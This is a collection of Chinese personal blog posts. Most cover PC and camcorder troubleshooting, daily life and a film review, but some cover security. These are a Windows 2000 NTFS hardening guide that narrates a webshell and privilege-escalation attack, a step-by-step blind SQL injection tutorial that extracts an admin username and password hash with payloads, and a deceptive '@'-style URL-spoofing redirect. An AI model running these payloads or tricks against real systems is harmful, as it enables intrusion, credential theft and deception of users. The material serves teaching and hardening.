到今天为止,我朋友的那个问题应该是解决了吧……
  问题是这样的,她的系统是Athlon3000+的,华硕K8N4-E的主板(nForce4),小影霸Unika 6600GT PCI-E的机器。玩游戏等等都没问题,但是只要安装了金山词霸、紫光输入法,并开始查毒的话。系统马上就会弹出RUN A DLL AS AN APP的错误,“Run a dll as an app”是rundll32.exe的进程。提示这个进程出错,然后就关闭了。在点击关闭的同时,explorer也关闭了。explorer重新打开以后,用不了几秒钟,马上又弹出Run a dll as an app程序错误,又关闭。只有重装系统才能解决问题。而且恢复系统以后,只要一进行这个操作,马上就又弹出错对话框,又只有重装。一开始我们还以为是硬件问题,换了内存、主板了,这个问题还是存在。到后来,我在她机器上安装了一个Microsoft Antispyware,才发现在安装紫光输入法的时候,它会帮你安装3721!这个烂东西!
  既然安装了3721,那很多问题都会出现了。本着试一试看心理,我让她安装了拼音加加。到现在为止,已经三天时间了。再也没有出那个问题了。相信这个问题基本已彻底解决。
  教训啊,在安装软件的时候,一定要看好这个软件是否捆绑了流氓软件。否则后患无穷啊!

G0dspeed原著

昨天下了一整天的雨,今天一觉醒来居然晴了!这个天变得也太快了嘛!早知道就计划出去玩了。害得我没计划,在家看了一天的书。日落的时候用手机照了张相,虽然像素低了点(30W),但是还是感觉得出来晚霞的漂亮的,呵呵。

看原大图

    刚刚把“蝴蝶”看完了,一部法国的老片了。看过这部片子以后你就知道为什么人家说“吉祥三宝”在抄袭这部电影了。吉祥三宝的风格和这部电影片尾的主题曲的风格基本是一样的。

    片中还有好多经典的对白,如:
    1.如果存在所谓“爱的证据”,那就说明人们缺乏信心。而当人们没有信心的时候,爱也就不存在了。
    2.人怎么样才能富有呢?最好就是,做自己喜欢做的事。

我还是比较推荐观看这部片子的。 🙂

图片附件:
le papillon.jpg
图片附件:
100004658.jpg

DV机的价格是越来越便宜了。最近我也和家人商量,添置了一台DV机,准备用这台机器拍摄下家里出去旅行、生日聚会的精彩画面。前天是叔父的生日,所以家里变将新买的机器带到叔父家准备给叔父的生日来个视频留念。不过由于当时比较匆忙,所以忘了购买DV带,直到到了叔父所在请客吃饭的酒店才发现。这下可急坏了笔者,不过没办法只能打电话和自己熟悉的朋友,看看能不能马上送一盘使用过的DV带过来救个急。最终还好,一个老朋友关键时候送来了一盘SONY牌DV带才救了急。

  故障出现

  当天拍摄非常的顺利,而笔者也将DV带拍摄的一点不剩。回到家以后马上先回放了一边DV带,发现里面录制的节目全部都呈现出类似马赛克的情况。开始以为是机器的故障,于是将机器倒回前面重新播放,问题依旧。难道是这盘磁带坏了?马上翻出自己以前拍摄的DV带进行播放,发现问题依旧,所有的视频画面都出现了类似马赛克一样的情况。当笔者将DV与电脑连接采集视频的时候,所有采集的画面无一例外的都充满了马赛克图像(图1、图2)。

看原大图  
图1

看原大图
图2

  检查问题

  机器才买一个多月应该不会出现磁头老化的问题,那么问题什么机器出现这样的故障?由于机器之前工作正常,所以笔者就开始怀疑是否是朋友给的DV带存在问题。果然将朋友的DV和自己的早前购买的DV带相比发现了端倪,笔者购买的DV带上面的都有生产编号(图3),而且做工很细致,相比朋友借给笔者的DV带要好了很多,所以初步估计笔者的机器就是由于使用了已经被使用过的劣质DV而将磁头弄脏(弄坏)。

看原大图
图3

  清洗磁头

  如果是磁头脏了的话,那么可以使用DV清洗带来对磁头进行清洗。将DV清洗带(一般机器随机都有赠送)放入机器并将DV设置为VCR模式并进行播放,这个时候清洗工作就还是进行了,一般来说只要十几秒就可以清洗结束了。笔者清洗了两次以后重新开机使用DV播放器,发现问题依旧存在,看来问题并没有完全得到解决。而这个时候笔者也无法继续使用DV带进行清洗,因为使用清洁带清洗磁头的时候容易磨损磁头,如果多次进行的话很可能造成磁头的磨损从而损坏。

  最终解决

  在无奈的情况下,笔者想到了一个以前录象机解决播放雪花问题的方法,具体的过程就是放入机器一盘空录像带,然后快进快退几次以后问题就可以得到解决,那么录像机的部分原理和DV一致,不知道是否可以尝试。最后笔者将DV中放入了一盘空白DV带,来回运行了几次,再接着将自己以前拍摄的DV带放入进行回放,故障解决,液晶屏幕传来的已经是清晰的画面,看来到这里为止,所有的问题已经解决了。

  后记

  通过此次事件,笔者只想说几点自己的感受。首先在购买DV带的时候一定要严格把关,别贪便宜买了几盘便宜的DV带而搞的DV磁头损坏。其次,购买的DV带一般不要多次反复使用,这样很容易磨损磁头,同时也会因为磁粉脱落而造成磁头变脏。最后就是当机器播放画面出现问题的时候可以采取用清洗带清洗、用无水酒精清洗或者是笔者刚刚介绍的这个方法来解决。

   随着动网论坛的广泛应用和动网上传漏洞的被发现以及SQL注入式攻击越来越多的被使用,WEBSHELL让防火墙形同虚设,一台即使打了所有微软补丁、只让80端口对外开放的WEB服务器也逃不过被黑的命运。难道我们真的无能为力了吗?其实,只要你弄明白了NTFS系统下的权限设置问题,我们可以对crackers们说:NO!

  要打造一台安全的WEB服务器,那么这台服务器就一定要使用NTFS和Windows NT/2000/2003。众所周知,Windows是一个支持多用户、多任务的操作系统,这是权限设置的基础,一切权限设置都是基于用户和进程而言的,不同的用户在访问这台计算机时,将会有不同的权限。DOS是个单任务、单用户的操作系统。但是我们能说DOS没有权限吗?不能!当我们打开一台装有DOS操作系统的计算机的时候,我们就拥有了这个操作系统的管理员权限,而且,这个权限无处不在。所以,我们只能说DOS不支持权限的设置,不能说它没有权限。随着人们安全意识的提高,权限设置随着NTFS的发布诞生了。

  Windows NT里,用户被分成许多组,组和组之间都有不同的权限,当然,一个组的用户和用户之间也可以有不同的权限。下面我们来谈谈NT中常见的用户组。

  Administrators,管理员组,默认情况下,Administrators中的用户对计算机/域有不受限制的完全访问权。分配给该组的默认权限允许对整个系统进行完全控制。所以,只有受信任的人员才可成为该组的成员。

  Power Users,高级用户组,Power Users 可以执行除了为 Administrators 组保留的任务外的其他任何操作系统任务。分配给 Power Users 组的默认权限允许 Power Users 组的成员修改整个计算机的设置。但Power Users 不具有将自己添加到 Administrators 组的权限。在权限设置中,这个组的权限是仅次于Administrators的。

  Users:普通用户组,这个组的用户无法进行有意或无意的改动。因此,用户可以运行经过验证的应用程序,但不可以运行大多数旧版应用程序。Users 组是最安全的组,因为分配给该组的默认权限不允许成员修改操作系统的设置或用户资料。Users 组提供了一个最安全的程序运行环境。在经过 NTFS 格式化的卷上,默认安全设置旨在禁止该组的成员危及操作系统和已安装程序的完整性。用户不能修改系统注册表设置、操作系统文件或程序文件。Users 可以关闭工作站,但不能关闭服务器。Users 可以创建本地组,但只能修改自己创建的本地组。

  Guests:来宾组,按默认值,来宾跟普通Users的成员有同等访问权,但来宾帐户的限制更多。

  Everyone:顾名思义,所有的用户,这个计算机上的所有用户都属于这个组。

  其实还有一个组也很常见,它拥有和Administrators一样、甚至比其还高的权限,但是这个组不允许任何用户的加入,在察看用户组的时候,它也不会被显示出来,它就是SYSTEM组。系统和系统级的服务正常运行所需要的权限都是靠它赋予的。由于该组只有这一个用户SYSTEM,也许把该组归为用户的行列更为贴切。

  权限是有高低之分的,有高权限的用户可以对低权限的用户进行操作,但除了Administrators之外,其他组的用户不能访问 NTFS 卷上的其他用户资料,除非他们获得了这些用户的授权。而低权限的用户无法对高权限的用户进行任何操作。

  我们平常使用计算机的过程当中不会感觉到有权限在阻挠你去做某件事情,这是因为我们在使用计算机的时候都用的是Administrators中的用户登陆的。这样有利也有弊,利当然是你能去做你想做的任何一件事情而不会遇到权限的限制。弊就是以 Administrators 组成员的身份运行计算机将使系统容易受到特洛伊木马、病毒及其他安全风险的威胁。访问 Internet 站点或打开电子邮件附件的简单行动都可能破坏系统。不熟悉的 Internet 站点或电子邮件附件可能有特洛伊木马代码,这些代码可以下载到系统并被执行。如果以本地计算机的管理员身份登录,特洛伊木马可能使用管理访问权重新格式化您的硬盘,造成不可估量的损失,所以在没有必要的情况下,最好不用Administrators中的用户登陆。

  Administrators中有一个在系统安装时就创建的默认用户—-Administrator,Administrator 帐户具有对服务器的完全控制权限,并可以根据需要向用户指派用户权利和访问控制权限。因此强烈建议将此帐户设置为使用强密码。永远也不可以从 Administrators 组删除 Administrator 帐户,但可以重命名或禁用该帐户。由于大家都知道“管理员”存在于许多版本的 Windows 上,所以重命名或禁用此帐户将使恶意用户尝试并访问该帐户变得更为困难。对于一个好的服务器管理员来说,他们通常都会重命名或禁用此帐户。Guests用户组下,也有一个默认用户—-Guest,但是在默认情况下,它是被禁用的。如果没有特别必要,无须启用此账户。我们可以通过“控制面板”–“管理工具”–“计算机管理”–“用户和用户组”来查看用户组及该组下的用户。

  我们用鼠标右键单击一个NTFS卷或NTFS卷下的一个目录,选择“属性”–“安全”就可以对一个卷,或者一个卷下面的目录进行权限设置,此时我们会看到以下七种权限:完全控制、修改、读取和运行、列出文件夹目录、读取、写入、和特别的权限。“完全控制”就是对此卷或目录拥有不受限制的完全访问。地位就像Administrators在所有组中的地位一样。选中了“完全控制”,下面的五项属性将被自动被选中。“修改”则像Power users,选中了“修改”,下面的四项属性将被自动被选中。下面的任何一项没有被选中时,“修改”条件将不再成立。“读取和运行”就是允许读取和运行在这个卷或目录下的任何文件,“列出文件夹目录”和“读取”是“读取和运行”的必要条件。“列出文件夹目录”是指只能浏览该卷或目录下的子目录,不能读取,也不能运行。“读取”是能够读取该卷或目录下的数据。“写入”就是能往该卷或目录下写入数据。而“特别”则是对以上的六种权限进行了细分。读者可以自行对“特别”进行更深的研究,鄙人在此就不过多赘述了。

  下面我们对一台刚刚安装好操作系统和服务软件的WEB服务器系统和其权限进行全面的刨析。服务器采用Windows 2000 Server版,安装好了SP4及各种补丁。WEB服务软件则是用了Windows 2000自带的IIS 5.0,删除了一切不必要的映射。整个硬盘分为四个NTFS卷,C盘为系统卷,只安装了系统和驱动程序;D盘为软件卷,该服务器上所有安装的软件都在D盘中;E盘是WEB程序卷,网站程序都在该卷下的WWW目录中;F盘是网站数据卷,网站系统调用的所有数据都存放在该卷的WWWDATABASE目录下。这样的分类还算是比较符合一台安全服务器的标准了。

  希望各个新手管理员能合理给你的服务器数据进行分类,这样不光是查找起来方便,更重要的是这样大大的增强了服务器的安全性,因为我们可以根据需要给每个卷或者每个目录都设置不同的权限,一旦发生了网络安全事故,也可以把损失降到最低。当然,也可以把网站的数据分布在不同的服务器上,使之成为一个服务器群,每个服务器都拥有不同的用户名和密码并提供不同的服务,这样做的安全性更高。不过愿意这样做的人都有一个特点—-有钱:)。好了,言归正传,该服务器的数据库为MS-SQL,MS-SQL的服务软件SQL2000安装在d:\\ms-sqlserver2K目录下,给SA账户设置好了足够强度的密码,安装好了SP3补丁。

  为了方便网页制作员对网页进行管理,该网站还开通了FTP服务,FTP服务软件使用的是SERV-U 5.1.0.0,安装在d:\\ftpservice\\serv-u目录下。杀毒软件和防火墙用的分别是Norton Antivirus和BlackICE,路径分别为d:\\nortonAV和d:\\firewall\\blackice,病毒库已经升级到最新,防火墙规则库定义只有80端口和21端口对外开放。网站的内容是采用动网7.0的论坛,网站程序在e:\\www\\bbs下。细心的读者可能已经注意到了,安装这些服务软件的路径我都没有采用默认的路径或者是仅仅更改盘符的默认路径,这也是安全上的需要,因为一个黑客如果通过某些途径进入了你的服务器,但并没有获得管理员权限,他首先做的事情将是查看你开放了哪些服务以及安装了哪些软件,因为他需要通过这些来提升他的权限。  

  一个难以猜解的路径加上好的权限设置将把他阻挡在外。相信经过这样配置的WEB服务器已经足够抵挡大部分学艺不精的黑客了。读者可能又会问了:“这根本没用到权限设置嘛!我把其他都安全工作都做好了,权限设置还有必要吗?”当然有!智者千虑还必有一失呢,就算你现在已经把系统安全做的完美无缺,你也要知道新的安全漏洞总是在被不断的发现。权限将是你的最后一道防线!那我们现在就来对这台没有经过任何权限设置,全部采用Windows默认权限的服务器进行一次模拟攻击,看看其是否真的固若金汤。

  假设服务器外网域名为http://www.webserver.com,用扫描软件对其进行扫描后发现开放WWW和FTP服务,并发现其服务软件使用的是IIS 5.0和Serv-u 5.1,用一些针对他们的溢出工具后发现无效,遂放弃直接远程溢出的想法。打开网站页面,发现使用的是动网的论坛系统,于是在其域名后面加个/upfile.asp,发现有文件上传漏洞,便抓包,把修改过的ASP木马用NC提交,提示上传成功,成功得到WEBSHELL,打开刚刚上传的ASP木马,发现有MS-SQL、Norton Antivirus和BlackICE在运行,判断是防火墙上做了限制,把SQL服务端口屏蔽了。通过ASP木马查看到了Norton Antivirus和BlackICE的PID,又通过ASP木马上传了一个能杀掉进程的文件,运行后杀掉了Norton Antivirus和BlackICE。再扫描,发现1433端口开放了,到此,便有很多种途径获得管理员权限了,可以查看网站目录下的conn.asp得到SQL的用户名密码,再登陆进SQL执行添加用户,提管理员权限。也可以抓SERV-U下的ServUDaemon.ini修改后上传,得到系统管理员权限。还可以传本地溢出SERV-U的工具直接添加用户到Administrators等等。大家可以看到,一旦黑客找到了切入点,在没有权限限制的情况下,黑客将一帆风顺的取得管理员权限。

  那我们现在就来看看Windows 2000的默认权限设置到底是怎样的。对于各个卷的根目录,默认给了Everyone组完全控制权。这意味着任何进入电脑的用户将不受限制的在这些根目录中为所欲为。系统卷下有三个目录比较特殊,系统默认给了他们有限制的权限,这三个目录是Documents and settings、Program files和Winnt。对于Documents and settings,默认的权限是这样分配的:Administrators拥有完全控制权;Everyone拥有读&运,列和读权限;Power users拥有读&运,列和读权限;SYSTEM同Administrators;Users拥有读&运,列和读权限。对于Program files,Administrators拥有完全控制权;Creator owner拥有特殊权限;Power users有完全控制权;SYSTEM同Administrators;Terminal server users拥有完全控制权,Users有读&运,列和读权限。对于Winnt,Administrators拥有完全控制权;Creator owner拥有特殊权限;Power users有完全控制权;SYSTEM同Administrators;Users有读&运,列和读权限。而非系统卷下的所有目录都将继承其父目录的权限,也就是Everyone组完全控制权!

  现在大家知道为什么我们刚刚在测试的时候能一帆风顺的取得管理员权限了吧?权限设置的太低了!一个人在访问网站的时候,将被自动赋予IUSR用户,它是隶属于Guest组的。本来权限不高,但是系统默认给的Everyone组完全控制权却让它“身价倍增”,到最后能得到Administrators了。那么,怎样设置权限给这台WEB服务器才算是安全的呢?大家要牢记一句话:“最少的服务+最小的权限=最大的安全”对于服务,不必要的话一定不要装,要知道服务的运行是SYSTEM级的哦,对于权限,本着够用就好的原则分配就是了。对于WEB服务器,就拿刚刚那台服务器来说,我是这样设置权限的,大家可以参考一下:各个卷的根目录、Documents and settings以及Program files,只给Administrator完全控制权,或者干脆直接把Program files给删除掉;给系统卷的根目录多加一个Everyone的读、写权;给e:\\www目录,也就是网站目录读、写权。

  最后,还要把cmd.exe这个文件给挖出来,只给Administrator完全控制权。经过这样的设置后,再想通过我刚刚的方法入侵这台服务器就是不可能完成的任务了。可能这时候又有读者会问:“为什么要给系统卷的根目录一个Everyone的读、写权?网站中的ASP文件运行不需要运行权限吗?”问的好,有深度。是这样的,系统卷如果不给Everyone的读、写权的话,启动计算机的时候,计算机会报错,而且会提示虚拟内存不足。当然这也有个前提—-虚拟内存是分配在系统盘的,如果把虚拟内存分配在其他卷上,那你就要给那个卷Everyone的读、写权。ASP文件的运行方式是在服务器上执行,只把执行的结果传回最终用户的浏览器,这没错,但ASP文件不是系统意义上的可执行文件,它是由WEB服务的提供者—-IIS来解释执行的,所以它的执行并不需要运行的权限。

  经过上面的讲解以后,你一定对权限有了一个初步了了解了吧?想更深入的了解权限,那么权限的一些特性你就不能不知道了,权限是具有继承性、累加性 、优先性、交叉性的。

  继承性是说下级的目录在没有经过重新设置之前,是拥有上一级目录权限设置的。这里还有一种情况要说明一下,在分区内复制目录或文件的时候,复制过去的目录和文件将拥有它现在所处位置的上一级目录权限设置。但在分区内移动目录或文件的时候,移动过去的目录和文件将拥有它原先的权限设置。

  累加是说如一个组GROUP1中有两个用户USER1、USER2,他们同时对某文件或目录的访问权限分别为“读取”和“写入”,那么组GROUP1对该文件或目录的访问权限就为USER1和USER2的访问权限之和,实际上是取其最大的那个,即“读取”+“写入”=“写入”。 又如一个用户USER1同属于组GROUP1和GROUP2,而GROUP1对某一文件或目录的访问权限为“只读”型的,而GROUP2对这一文件或文件夹的访问权限为“完全控制”型的,则用户USER1对该文件或文件夹的访问权限为两个组权限累加所得,即:“只读”+“完全控制”=“完全控制”。

  优先性,权限的这一特性又包含两种子特性,其一是文件的访问权限优先目录的权限,也就是说文件权限可以越过目录的权限,不顾上一级文件夹的设置。另一特性就是“拒绝”权限优先其它权限,也就是说“拒绝”权限可以越过其它所有其它权限,一旦选择了“拒绝”权限,则其它权限也就不能取任何作用,相当于没有设置。

  交叉性是指当同一文件夹在为某一用户设置了共享权限的同时又为用户设置了该文件夹的访问权限,且所设权限不一致时,它的取舍原则是取两个权限的交集,也即最严格、最小的那种权限。如目录A为用户USER1设置的共享权限为“只读”,同时目录A为用户USER1设置的访问权限为“完全控制”,那用户USER1的最终访问权限为“只读”。

  权限设置的问题我就说到这了,在最后我还想给各位读者提醒一下,权限的设置必须在NTFS分区中才能实现的,FAT32是不支持权限设置的。同时还想给各位管理员们一些建议:

  1.养成良好的习惯,给服务器硬盘分区的时候分类明确些,在不使用服务器的时候将服务器锁定,经常更新各种补丁和升级杀毒软件。

  2.设置足够强度的密码,这是老生常谈了,但总有管理员设置弱密码甚至空密码。

  3.尽量不要把各种软件安装在默认的路径下

  4.在英文水平不是问题的情况下,尽量安装英文版操作系统。

  5.切忌在服务器上乱装软件或不必要的服务。

  6.牢记:没有永远安全的系统,经常更新你的知识。

今天昆明比昨天还冷,估计气温就在16°C左右。不过阴两天也好,昆明已经闹干旱了。再不下雨恐怕到处都要闹火灾了。
从今天开始就正式放假了,5.5,5.6上班,5.7放假,5.8又上班。还真是奇怪的放假。就是不按规矩来。

今天昆明终于下雨了,昨天都还是大晴天,今天一醒来就发现在下中雨了。温度马上就降下来了,穿了外衣都还感觉有点冷。

看原大图

今天也是最后一天上班了,明天就可以开始五一大假了。哈哈哈哈。原先本来打算到浙江、上海去Happy的,但是听同学建议:“如果能不是五一来的话就尽量 不五一来吧。五一来的话挤死你。而且根本看不到景,都看人了。抢景点。”所以决定把这个事暂时先Delay一下。等找个人不多的时候再去。
等想想五一怎么安排了….

如果你已经掌握了SQL注入漏洞的一些相关的基础知识,那是不是觉得看了理论有一种想急于知道如何实际动手操作的冲动,好吧,Let’s go,这篇文章我们就来实战SQL注入,不过针对网站的数据库是ACCESS的,毕竟在国内都是用虚拟机,一般只有FTP上传权限,所以还是很有市场的。

  首先要注意的是,如果你以前没试过SQL注入的话,那么第一步先把IE菜单=>工具=>Internet选项=>高级= >显示友好 HTTP 错误信息前面的勾去掉。否则,不论服务器返回什么错误,IE都只显示为HTTP 500服务器错误,不能获得更多的提示信息。

  1.入侵测试目标:

  前不久我们学校的一个同学做了个网站,做的还挺漂亮的,叫我去看下,我顺便对它进行了一次安全检测。文章发表前已经征得该同学的同意,请不要效仿。下面的真实网址已经被我屏蔽。

  测试网站:http://www.xxx.com/index.asp

  2.寻找可能的SQL注入点

  我们知道,一般的文章管理系统,下载系统,论坛,留言本,相册等都会有个show.asp?id= list.asp?id= news.asp?id= 什么的,其实一看就知道是调用SQL语句查询数据库并显示出来。我们不难发现这个站的新闻系统就是show.asp?id=的形式,随便点一个链接得到地 址如下:

  http://www.xxx.com/show.asp?id=474

  从这个地址就知道是通过show.asp执行SQL语句访问数据库,可想而知,SQL语句原貌大致如下:

  select * from 表名 where 字段=xx,如果这个show.asp对后面的id整型参数过滤好的话,就可能存在SQL注入漏洞。

  3.判断SQL注入是否存在

  通过上面的分析知道,要判断有没有SQL注入漏洞,就得看show.asp有没对参数过滤好,所以可以用以下步骤测试SQL注入是否存在。

  a.最简单的判断方法

  在要检测的网址后面加一个单引号:http://www.xxx.com /show.asp?id=474’

  此时show.asp中的SQL语句变成了:select * from 表名 where 字段=xx’,如果程序没有过滤好“’”的话,就会提示 show.asp运行异常;但这样的方法虽然很简单,但并不是最好的,因为:

  第一:不一定每台服务器的IIS都返回具体错误提示给客户端,如果程序中加了cint(参数)之类语句的话,SQL注入是不会成功的,但服务器同样会报错,具体提示信息为处理 URL 时服务器上出错。请和系统管理员联络。

  第二:由于以前存在过的1’ or ‘1’=’1漏洞,所以目前大多数程序员已经将“’“ 过滤掉,所以用" ‘"测试不到注入点,所以一般使用经典的1=1和1=2测试方法,如下:

  http://www.xxx.com /show.asp?id=474 and 1=1, show.asp运行正常,而且与http://www.xxx.com /show.asp?id=474运行结果相同,如图1:

看原大图

  http://ww.xxx.com /show.asp?id=474 and 1=2, show.asp运行异常,(这就是经典的 1=1 1=2 判断方法)如图2:

看原大图

  这里很明显当加 and 1=1 的时候返回完全正常的页面,加 and 1=2 显示:暂时还没有文章!

  到这里基本上可以断定他存在SQL注入,至于能不能注出账号密码来,还需要更进一步的注入测试,这里只能得到SQL注入点: http://www.xxx.com/show.asp?id=474

  4.判断表是否存在

  国内的一般程序员在设计数据库的时候都会用一些特定的做为表名,字段名什么的。比如说后台管理员一般放在表admin里面,而注册的用户放在表users里,当然,只是一般,依照各程序的不同而不同。

  这个站是我同学自己写的,我还是先判断管理员表admin是否存在,在后面加上语句:and exists (select * from admin)变成http://www.xxx.com/show.asp?id=474 and exists (select * from admin)提交访问后返回的页面如图3:

看原大图

  这就说明我猜的admin表名不存在,继续猜另外的名字,这里可以参考国内常见的程序的表名,比如:admin user vote manage users 会员 用户 管理员 admin_admin userinfo bbs news system等,这个站我最后猜到的是:users,语句:and exists (select * from users)。

  5.进一步判断表里的字段是否存在

  判断字段id 是否存在,这个一般都有,自动编号。如果存在了顺便猜一下管理员的id值。

  判断存在语句:and exists(select id from users)

  判断编号语句:and exists(select id from users where id=1)

  一般管理员账号密码放在第一位,也就是id=1,如果不是就猜下去,猜id=2 猜id=3等啦。

  由于这个站是自己写的代码,所以会有点不同,当判断是否不过你可以猜到他的对应的可能是userid,因为他表名取做user呀,把上面的id改为userid就返回了正常的页面,如图4:

看原大图

  至于这个userid值为多少,同样猜,and exists(select userid where userid=1)改变1这个数字,一直猜到页面显示正常为止。这里我猜到的是userid=11,如图5:

看原大图

  最后猜出这个继续猜出其它的字段,用户名字段最后为username,密码字段为userpwd,用到的语句分别为:and exists (select username from users)和and exists (select userpwd from users),这里就不抓图了。

  6.再进一步判断账号和密码的长度

  这里我说一下常用的方法,判断的时候大于小于一起用嘛,学过数据结构的人都知道有二分法,我这里也引用一下,比如说你判断 >4 而又判断<12 那我接下来就取中间的看是大于8还是小于8,如果是大于8则说明在8到12之间,如果是小于8说明在4到8之间,再接着用二分法判断下去。。。。。。当然 由于账号密码一般人不会太长,所以在这里二分法的优势体现的不够明显,不过到下面猜账号密码字符的时候就能明显感受到了。

  首先判断账号username的字符长度:and exists (select userid from users where len(username)<10 and userid=11),返回正常说明长度小于10,and exists (select userid from users where len(username)>5 and userid=11),返回不正常说明长度小于5,最后猜到的是

  and exists (select userid from users where len(username)=4 and userid=11),说明账号的长度为4,也太短了吧,呵呵,别高兴的太早,如图6:

看原大图

  再接下来猜密码长度,与猜解账号长度类似,最后猜到密码长度为16位,语句:and exists (select userid from users where len(userpwd)=16 and userid=11),不过我要提醒的是,一般遇到16位或者32位的密码,我都会想到MD5加密,当然可以暴力破解。

  到此,我们得到的信息如下:

  账号username长度:4

  密码userpwd长度:16

  7.猜解账号密码字符

  在这里的猜解要用到asc(mid())这个函数。前面基础篇我们已经讲过这些函数了,我这里稍提一下。asc()是把字符转换为其对应的ASC码,mid()则是定位字符串里的字符。

  格式:mid(字符串,开始位置,子串长度)

  比如说mid(name,1,1)即取name字符串里第一个字符。如果这里的name等于xysky 则mid(name,1,1)=x而mid(name,1,2)则取y

  这两个函数结合asc(mid())则是先定位字符串里的字符再取其ASC码,比如asc(mid(username,2,1))则是判断 username字符串里的第二位的ASC码,在SQL注入里常用它,有汉字也不用怕,不过遇上了汉字确实有点郁闷,中文字符的asc值小于0的。在后面 加上如下的语句:

  and 11=(select userid from users where asc(mid(username,1,1))<0) 返回正常,说明账号果然是汉字,下面的事就不那么容易了。下面我们用到二分法的思想开始猜解第一位字符:

  and 11=(select userid from users where asc(mid(username,1,1))<-19000) 返回正常

  and 11=(select userid from users where asc(mid(username,1,1))>-20000) 返回正常

  以上说明账号的第一个字符的ASCII码在-19000和-20000之间,再用二分法猜解下去,最后的第一个为:-19765

  and 11=(select userid from users where asc(mid(username,1,1))= -19765)

  ASCII码为-19765对应的字符就是:菜

  下面接着猜第二个字符,最后语法为:and 11=(select userid from users where asc(mid(username,2,1))=-15119),这里抓个图,如图7:

看原大图

  对应字符为:鸟

  到这里我想其它不用猜了,因为这个网站上的信息已经告诉我们了:

  作者:菜鸟老师 票数:0等级:点击:308 呵呵,如果没错的话就是它了。

  接着猜密码,依然二分法,就不抓图了:

  and 11=(select userid from users where asc(mid(userpwd,1,1))<50)

  and 11=(select userid from users where asc(mid(userpwd,1,1))>40)

  最后得到的为:48 对应的字符就是0

  依此下去,最后得到加密后的MD5值为:00d60a849c6c381e ,由于MD5目前没有好的破解方法,只能暴力破解,我们就此打此。

  8.后台的猜解

  经过前面辛苦的猜解,我们已经得到这个网站的账号密码了,当然这里已经是MD5加密了,我们只是说一下常规的SQL注入攻击中的一步,往往也 是最为关键的一步:寻找网站管理后台。像这样动态生成页面的网站,一般都会有个管理后台的,添加文章编辑文章修改文章删除文章什么的,而一般的程序员在命 名后台的时候往往是:admin_index.asp admin_login.asp admin.asp admin/admin_index.asp admin/admin_login.asp,当然还有退出后台的文件:logout.asp admin_logout.asp admin/admin_logout.asp等。一个一个的访问,结果嘛,我只能说靠运气加上你的经验了。以这个站为例,前面那些登录的我一个也没猜 到,因为我猜到有admin这个目录,我就一直以为登录的页面也在admin目录,猜了好久,最后无意访问admin/logout.asp,页面居然自 动转到后台登录页面了,居然是上一级目录的login.asp,我狂汗,如图8:

看原大图

  有了后台,有了账号密码(当然这个站是MD5加密的密码,我也懒得破解),你就可以进后台了,至于进后台你能做什么,就看后台的功能与你的技术了,你想做什么,就依靠你自己了,本文只演示SQL注入漏洞最基本的注入,想深入研究的朋友一定要好好掌握哦!

文本代码保护是件很头痛的事,随着了解的加深保护的方法越多,也就意味着漏洞越多.
下面说说我的经验,有更好方法的欢迎交流QQ:17789897.

[-调取原代码的方法-]

1:右键 – 查看原文件
2:查看 – 原文件
3:文件 – 另存为
4:IE缓存
5:还可以通过代码提取
教程代码:
<SCRIPT>
function add()
{
var ress=document.forms[0].it315zhangxx.value
window.location="view-source:"+ress;
}
</SCRIPT>

<p>在网页源代码查看器中输入要查看网页源代码的URL地址:
<p> 
<FORM><INPUT name=it315zhangxx size=56 value=http://></FORM>
<FORM>
<INPUT onclick=add() type=button value=查看网页源代码></FORM>

[-关于保护-]

先通过代码来禁止IE的一些操作

:禁止另存为
<NOSCRIPT><IFRAME src="/*.html>";</IFRAME></NOSCRIPT>

:取消选取、防止复制 不准粘贴 防止复制>
<BODY onselectstart="return false" oncut="return false;" onpaste="return false" onmouseover="window.status=‘ ‘;return true" oncopy="return false;" bgColor=#ffffff leftMargin=0 topMargin=0>

:禁止右键>
<SCRIPT language=JavaScript>
<!–

if (window.Event)
document.captureEvents(Event.MOUSEUP);

function nocontextmenu()
{
event.cancelBubble = true
event.returnValue = false;

return false;
}

function norightclick(e)
{
if (window.Event)
{
if (e.which == 2    e.which == 3)
return false;
}
else
if (event.button == 2    event.button == 3)
{
event.cancelBubble = true
event.returnValue = false;
return false;
}

}

document.oncontextmenu = nocontextmenu; // for IE5+
document.onmousedown = norightclick; // for all others
//–>
</SCRIPT>
:状态栏固定
<body bgcolor="#fef4d9" onmouseover="self.status=‘自定义资料‘;return true">

:禁止缓存 在页面中使用HTML标记,如下面:
<HEAD>
<META http-equiv=Pragma content=no-cache>
<META http-equiv=Cache-Control content=no-cache>
<META http-equiv=Expires content=0>

-利用上面的代码可以禁止下面几种手段-
1:右键 – 查看原文件
3:文件 – 另存为
4:IE缓存

-用代码本身很难禁止下面的手段我门就迷惑的方法阻止调出原代码-
2:查看 – 原文件
5:还可以通过代码提取

URL欺骗(可以隐藏真实地址)
教程代码:

<meta http-equiv="refresh" content="0;url=‘http://东邪.明天毕竟又是新的一天@www.hack.net/index.htm‘">

注意代码中url=‘http://东邪.明天毕竟又是新的一天@www.hack.net/index.htm‘"
@ 符号前面的[http://东邪.明天毕竟又是新的一天]就是欺骗后在IE中出现的效果 也可以是 http://www.163.com
后面的不用说就是连接的真实地址 www.hack.net/index.htm

URL迷惑
<meta http-equiv="refresh" content="0;url=‘http://东邪.明天毕竟又是新的一天@.htm‘">
注意这一段和上面的有什么不同对就是.htm 那.htm是什么呢呵呵其实就是真实地址
怎么访问呢 有.htm吗
呵呵我门要做的就就做一个没有名字的HTM
方法很简单先创建个XXX.htm 上传到 QQ网络硬盘 双激文件名将XXX删除 怎么样.htm出来了吧

这样就算得到原代码很难看出真实地址
列1:http://东邪.明天毕竟又是新的一天@.htm
列2:http://www.163.com/@.htm
呵呵很难看出真实地址是什么吧

[JS禁止 用IE – 查看 – 原文件]
也是迷惑的方法 但是可以绝对禁止以上面的方式调用原文件
要用到JS
教程JS代码
var oPopup = window.createPopup();
var popTop=50;
function popmsg(msgstr){
var winstr="<table style=/"border: 1 solid #000000/" width=/"241/" height=/"172/" border=/"0/" cellpadding=/"0/" cellspacing=/"0/">";
winstr+="<tr><td height=/"150/"></td><td align=/"center/"><table width=/"90%/" height=/"110/" border=/"0/" cellpadding=/"0/" cellspacing=/"0/">";
winstr+="<tr><td valign=/"top/" style=/"font-size:12px; color: #F00000; face: Tahoma/">"+msgstr+"</td></tr></table></td></tr></table>";
oPopup.document.body.innerHTML = winstr;
popshow();
}
function popshow(){
window.status=popTop;
if(popTop>1720){
clearTimeout(mytime);
oPopup.hide();
return;
}else if(popTop>1520&&popTop<1720){
oPopup.show(screen.width-250,screen.height,241,1720-popTop);
